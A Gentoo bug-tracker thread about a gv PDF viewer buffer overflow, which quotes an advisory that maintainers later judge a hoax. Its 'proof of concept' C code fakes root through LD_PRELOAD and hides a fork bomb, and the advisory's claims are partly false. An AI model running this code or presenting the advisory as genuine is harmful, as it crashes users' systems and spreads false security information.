59385 2004-08-04 05:16 0000 app-text/gv: Exploitable Buffer Overflow (CAN-2002-0838) 2004-08-13 02:07:30 0000 1 1 1 Unclassified Gentoo Linux Security unspecified All All RESOLVED FIXED http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0838 B2 [glsa] P2 normal --- 1 chriswhite@gentoo.org security@gentoo.org lanius@gentoo.org chriswhite@gentoo.org 2004-08-04 05:16:35 0000 Woo, this looks fun. RedHat's vulnerable, so the question is are we? Privlege escalation with with a specially crafted pdf file. Info is here: Exploitable Buffer Overflow in gv Infohacking Security Advisory 08.04.04 www.infohacking.com Aug 04, 2004 I. BACKGROUND Infohacking team (me and myself) discovered a new and unreported local root vulnerability in gv. II. DESCRIPTION The gv program that is shipped on many Unix systems contains a buffer overflow which can be exploited by an attacker sending a malformed postscript or Adobe pdf file. The attacker would be able to cause arbitrary code to run with the privileges of the victim on his Linux computer. The gv program is a PDF and postscript viewing program for Unix which interfaces with the ghostscript interpreter. It is maintained at http://www.thep.physik.uni-mainz.de/~plass/gv/ by Johannes Plass. This particular security vulnerability occurs in the source code where an unsafe sscanf() call is used to interpret PostScript and PDF files. III. ANALYSIS In order to perform exploitation, an attacker would have to trick a user into viewing a malformed PDF or PostScript file from the command line. This may be somewhat easier for Unix based email programs that associate gv with email attachments. Since gv is not normally installed setuid root, an attacker would only be able to cause arbitrary code to run with the privileges of that user. Other programs that utilize derivatives of gv, such as ggv or kghostview, may also be vulnerable in similiar ways. A proof of concept exploit for Red Hat Linux designed by Hugo is attached to this message. It packages the overflow and shellcode in the "%%PageOrder:" section of the PDF. /* !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE * * INFOHACKING RESEARCH - L337 h4x0r t34M * * hugo <hugo@infohacking.com> */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> char hellc0de[] = "\x69\x6e\x74\x20\x67\x65\x74\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65" "\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74" "\x65\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30" "\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74\x67\x69\x64\x28\x29\x20" "\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74" "\x20\x67\x65\x74\x65\x67\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75" "\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x0/bin/sh"; int main() { FILE *fp; char *offset; fp=fopen("/tmp/own.c","w"); fprintf(fp,"%s",hellc0de); fclose(fp); system("gcc -shared -o /tmp/own.so /tmp/own.c;rm -f /tmp/own.c"); if (fork() == 0) { sleep(10); while (1) { fork(); offset=malloc(512); } exit(0); } system("LD_PRELOAD=/tmp/own.so /bin/sh"); return 0; } /* -EOF- */ IV. DETECTION This vulnerability affects the latest version of gv,. An exploit has been tested on Red Hat Linux 9 and fedora core 1 V. WORKAROUNDS To avoid potential exploitation, users can select alternatives to gv such as Kghostview (included with the KDE desktop environment) for instance. Additionally, the vulnerability does not seem to be exploitable when a file is opened from the gv interface instead of the command line. VI. CVE INFORMATION The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2001-0832 to this issue. VII. DISCLOSURE TIMELINE 03/18/04 Hugo notified the bug to abuse@255.255.255.255 04/11/04 Initial vendor notification - no response 04/30/04 Secondary vendor notification - no response 05/20/04 We hack iberia.com (Hey look at me! im a hax0r and i want a job) 08/04/04 Public Disclosure VIII. CREDIT Hugo Vazquez Carapez http://www.infohacking.com/dirhugo.gif Get pwned by script kiddies? Call us, we can hack you again. IX. LEGAL NOTICES Copyright (c) 2004 INFOHACKING, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of INFOHACKING. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email info@infohacking.com for permission. chriswhite@gentoo.org 2004-08-04 11:28:13 0000 Finally found the patch for the gv exploits: http://freshmeat.net/articles/view/587/ no specific maintainer though, just the printing herd. koon@gentoo.org 2004-08-04 11:49:45 0000 gv-3.5.8-r4 uses the latest gv Debian patch, so I suppose this is fixed in that version. lanius : could you check the version the above fix is in ? Is it just 3.5.8-r4 or did it appear before ? lanius@gentoo.org 2004-08-04 13:52:51 0000 it's only fixed in -r4, marked stable on x86 other arches please test gustavoz@gentoo.org 2004-08-04 14:21:30 0000 Stable on sparc. slarti@gentoo.org 2004-08-05 11:48:03 0000 Stable on amd64. kloeri@gentoo.org 2004-08-06 04:25:36 0000 Stable on alpha. jaervosz@gentoo.org 2004-08-11 22:19:58 0000 lu_zero thx for the ppc stable marking jaervosz@gentoo.org 2004-08-12 04:41:23 0000 GLSA 200408-10 jaervosz@gentoo.org 2004-08-12 10:21:34 0000 NOTE: The Infohacking Advisory quoted here appears to be a hoax. However the bug we actually fixed is indeed the two year old iDEFENSE vulnerability (CAN-2002-0838). Apparently that vulnerability was unpatched until this (hoax) alert brought it to our attention. We applied the Debian patch for this vulnerability as our fix, so we are now, a couple years behind, fully patched. So, yes, we did fix a vulnerability, and yes, it was the old iDEFENSE vulnerability.